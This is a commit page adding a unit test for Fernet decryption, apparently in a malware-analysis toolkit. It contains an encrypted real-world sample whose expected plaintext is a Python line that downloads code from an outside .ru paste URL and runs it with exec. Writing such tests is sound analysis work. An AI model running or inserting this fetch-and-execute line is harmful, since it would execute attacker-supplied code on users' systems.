Skip to content

Commit

Permalink
adds fernet test
Browse files Browse the repository at this point in the history
  • Loading branch information
huettenhain committed Apr 9, 2024
1 parent 39bd2e4 commit db91e75
Showing 1 changed file with 19 additions and 0 deletions.
19 changes: 19 additions & 0 deletions test/units/crypto/cipher/test_fernet.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from ... import TestUnitBase


class TestFernet(TestUnitBase):

def test_real_world_01(self):
data = (
'gAAAAABmAzaWWvpPHQ1jJXbTyRJlwy1MP-o3USdlhSFHB2qMHxn7KSvs4SiW86NeHfa_qIB3KimenfBA0tb5Me'
'yNeDEbDEMXK0sY05SbUZU64VR8PfxpgnKEWTP3oOaQIYVUzLcMBE0DF5EKPXuHvaXuEhHpdH9Wp1u4rrxwvUCM'
'4BVsoMynOnJP1nN6fbCjiWryEo39-63odiENVw81V4-yReuYZEInyU0uwdLCv_-zqqUR36si-q4='
)
goal = (
B'''exec(requests.get('https://funcaptcha'''B'''.ru/paste2?package=insanepackagev1414').'''
B'''text.replace('<pre>','').replace('</pre>',''))'''
)
test = data | self.load(b'E15Vb0ro8C-RQVm_HonJQeYM7QqH_QL6GXe3BpqaJJw=') | bytes
self.assertEqual(test, goal)

0 comments on commit db91e75

Please sign in to comment.